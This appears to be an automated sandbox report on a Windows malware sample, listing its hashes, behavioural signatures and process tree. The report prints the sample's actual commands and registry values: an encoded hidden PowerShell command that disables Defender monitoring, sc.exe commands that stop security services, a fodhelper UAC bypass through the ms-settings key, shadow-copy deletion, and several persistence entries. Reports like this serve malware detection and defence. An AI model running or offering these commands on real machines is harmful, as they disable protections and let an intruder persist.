Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
28/09/2026, 09:46
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
brussh.co_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
41 signatures
150 seconds
Behavioral task
behavioral2
Sample
brussh.co_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
41 signatures
150 seconds
General
- Target brussh.co_hyber.exe
- Size 49KB
- Sample260928-lrmsgssscx
- SHA256 7ac8423bca42d58dbc33a4448c1fe0f62e485874e887ad197b83e62c59a965d0
- MD5 04e16923ba5660901b2125a6bfe4c36f
- SHA1 cd458eb598ceb48cdd668d559ad7070256acfced
- SHA512 309cc75869e58fb319c9cdb9e2f8a55e7a675c8ee45ce50eb597afb311d3f044efe468028ae18ab587741dd2096f1c48fb3fd81dd0bc186e0ff82b689277b1a9
- SSDEEP 768:orVZZ6zs0htCDX291DUYWqp/NKPzfX/fym4S:OZ6HhADX291oMpGP/fym4S
- TLSH T1A833F54437ED4526D2BF5ABE89F251118332F4639C23DB4E1AD8459E19F3B00CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/628-1-0x0000000000310000-0x0000000000322000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" brussh.co_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4156 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" brussh.co_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts brussh.co_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5032 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf brussh.co_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf brussh.co_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf brussh.co_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\brussh.co_hyber.exe" brussh.co_hyber.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5364 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe brussh.co_hyber.exe File created C:\Windows\system32\sysupdate.exe brussh.co_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe brussh.co_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4912 wscript.exe 2056 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" brussh.co_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3711302545.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3884 sc.exe 1120 sc.exe 5720 sc.exe 4668 sc.exe 2912 sc.exe 1336 sc.exe 4456 sc.exe 2488 sc.exe 5192 sc.exe 5680 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5064 cmd.exe 2096 cmd.exe 5664 cmd.exe 3552 cmd.exe 3592 cmd.exe 5916 cmd.exe 6096 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname brussh.co_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain brussh.co_hyber.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3832 NETSTAT.EXE 3436 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4108 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4056 vssadmin.exe 3820 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\WallpaperStyle = "2" brussh.co_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell brussh.co_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open brussh.co_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command brussh.co_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings brussh.co_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open brussh.co_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" brussh.co_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command brussh.co_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet brussh.co_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\brussh.co_hyber.exe\" \"%1\"" brussh.co_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings brussh.co_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command brussh.co_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\brussh.co_hyber.exe" brussh.co_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\DelegateExecute brussh.co_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell brussh.co_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open brussh.co_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell brussh.co_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4548 schtasks.exe 5760 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4156 powershell.exe 4156 powershell.exe 4156 powershell.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 4552 WMIC.exe 4552 WMIC.exe 4552 WMIC.exe 4552 WMIC.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 4548 WMIC.exe 4548 WMIC.exe 4548 WMIC.exe 4548 WMIC.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe 628 brussh.co_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4224 LogonUI.exe Token: SeCreatePagefilePrivilege 4224 LogonUI.exe Token: SeDebugPrivilege 628 brussh.co_hyber.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeIncreaseQuotaPrivilege 4156 powershell.exe Token: SeSecurityPrivilege 4156 powershell.exe Token: SeTakeOwnershipPrivilege 4156 powershell.exe Token: SeLoadDriverPrivilege 4156 powershell.exe Token: SeSystemProfilePrivilege 4156 powershell.exe Token: SeSystemtimePrivilege 4156 powershell.exe Token: SeProfSingleProcessPrivilege 4156 powershell.exe Token: SeIncBasePriorityPrivilege 4156 powershell.exe Token: SeCreatePagefilePrivilege 4156 powershell.exe Token: SeBackupPrivilege 4156 powershell.exe Token: SeRestorePrivilege 4156 powershell.exe Token: SeShutdownPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeSystemEnvironmentPrivilege 4156 powershell.exe Token: SeRemoteShutdownPrivilege 4156 powershell.exe Token: SeUndockPrivilege 4156 powershell.exe Token: SeManageVolumePrivilege 4156 powershell.exe Token: 33 4156 powershell.exe Token: 34 4156 powershell.exe Token: 35 4156 powershell.exe Token: 36 4156 powershell.exe Token: SeIncBasePriorityPrivilege 628 brussh.co_hyber.exe Token: SeDebugPrivilege 5364 tasklist.exe Token: SeDebugPrivilege 5620 whoami.exe Token: SeIncreaseQuotaPrivilege 4156 powershell.exe Token: SeSecurityPrivilege 4156 powershell.exe Token: SeTakeOwnershipPrivilege 4156 powershell.exe Token: SeLoadDriverPrivilege 4156 powershell.exe Token: SeSystemProfilePrivilege 4156 powershell.exe Token: SeSystemtimePrivilege 4156 powershell.exe Token: SeProfSingleProcessPrivilege 4156 powershell.exe Token: SeIncBasePriorityPrivilege 4156 powershell.exe Token: SeCreatePagefilePrivilege 4156 powershell.exe Token: SeBackupPrivilege 4156 powershell.exe Token: SeRestorePrivilege 4156 powershell.exe Token: SeShutdownPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeSystemEnvironmentPrivilege 4156 powershell.exe Token: SeRemoteShutdownPrivilege 4156 powershell.exe Token: SeUndockPrivilege 4156 powershell.exe Token: SeManageVolumePrivilege 4156 powershell.exe Token: 33 4156 powershell.exe Token: 34 4156 powershell.exe Token: 35 4156 powershell.exe Token: 36 4156 powershell.exe Token: SeDebugPrivilege 3832 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 4552 WMIC.exe Token: SeSecurityPrivilege 4552 WMIC.exe Token: SeTakeOwnershipPrivilege 4552 WMIC.exe Token: SeLoadDriverPrivilege 4552 WMIC.exe Token: SeSystemProfilePrivilege 4552 WMIC.exe Token: SeSystemtimePrivilege 4552 WMIC.exe Token: SeProfSingleProcessPrivilege 4552 WMIC.exe Token: SeIncBasePriorityPrivilege 4552 WMIC.exe Token: SeCreatePagefilePrivilege 4552 WMIC.exe Token: SeBackupPrivilege 4552 WMIC.exe Token: SeRestorePrivilege 4552 WMIC.exe Token: SeShutdownPrivilege 4552 WMIC.exe Token: SeDebugPrivilege 4552 WMIC.exe Token: SeSystemEnvironmentPrivilege 4552 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 628 brussh.co_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4224 LogonUI.exe 4224 LogonUI.exe 628 brussh.co_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 628 wrote to memory of 4156 628 brussh.co_hyber.exe 91 PID 628 wrote to memory of 1120 628 brussh.co_hyber.exe 93 PID 628 wrote to memory of 5192 628 brussh.co_hyber.exe 94 PID 628 wrote to memory of 5720 628 brussh.co_hyber.exe 115 PID 628 wrote to memory of 2488 628 brussh.co_hyber.exe 99 PID 628 wrote to memory of 4668 628 brussh.co_hyber.exe 101 PID 628 wrote to memory of 5680 628 brussh.co_hyber.exe 103 PID 628 wrote to memory of 2912 628 brussh.co_hyber.exe 105 PID 628 wrote to memory of 1336 628 brussh.co_hyber.exe 107 PID 628 wrote to memory of 1852 628 brussh.co_hyber.exe 108 PID 1852 wrote to memory of 3812 1852 fodhelper.exe 110 PID 628 wrote to memory of 4912 628 brussh.co_hyber.exe 112 PID 628 wrote to memory of 4548 628 brussh.co_hyber.exe 160 PID 628 wrote to memory of 2096 628 brussh.co_hyber.exe 118 PID 628 wrote to memory of 5064 628 brussh.co_hyber.exe 119 PID 628 wrote to memory of 6096 628 brussh.co_hyber.exe 120 PID 628 wrote to memory of 5916 628 brussh.co_hyber.exe 121 PID 628 wrote to memory of 3592 628 brussh.co_hyber.exe 122 PID 628 wrote to memory of 3552 628 brussh.co_hyber.exe 123 PID 628 wrote to memory of 5664 628 brussh.co_hyber.exe 124 PID 628 wrote to memory of 5760 628 brussh.co_hyber.exe 130 PID 628 wrote to memory of 2056 628 brussh.co_hyber.exe 134 PID 628 wrote to memory of 4664 628 brussh.co_hyber.exe 135 PID 6096 wrote to memory of 5364 6096 cmd.exe 136 PID 628 wrote to memory of 4056 628 brussh.co_hyber.exe 137 PID 628 wrote to memory of 4552 628 brussh.co_hyber.exe 138 PID 3552 wrote to memory of 3436 3552 cmd.exe 139 PID 5664 wrote to memory of 3832 5664 cmd.exe 140 PID 628 wrote to memory of 2100 628 brussh.co_hyber.exe 141 PID 628 wrote to memory of 5032 628 brussh.co_hyber.exe 142 PID 628 wrote to memory of 3884 628 brussh.co_hyber.exe 144 PID 628 wrote to memory of 4456 628 brussh.co_hyber.exe 145 PID 3592 wrote to memory of 4900 3592 cmd.exe 151 PID 5916 wrote to memory of 5620 5916 cmd.exe 152 PID 4900 wrote to memory of 5520 4900 net.exe 153 PID 2100 wrote to memory of 2416 2100 net.exe 154 PID 5064 wrote to memory of 4108 5064 cmd.exe 155 PID 2096 wrote to memory of 3820 2096 cmd.exe 156 PID 2096 wrote to memory of 4548 2096 cmd.exe 160 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe"C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1120
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5192
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5720
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2488
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4668
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5680
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2912
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1336
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe"C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe"3⤵PID:3812
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4912
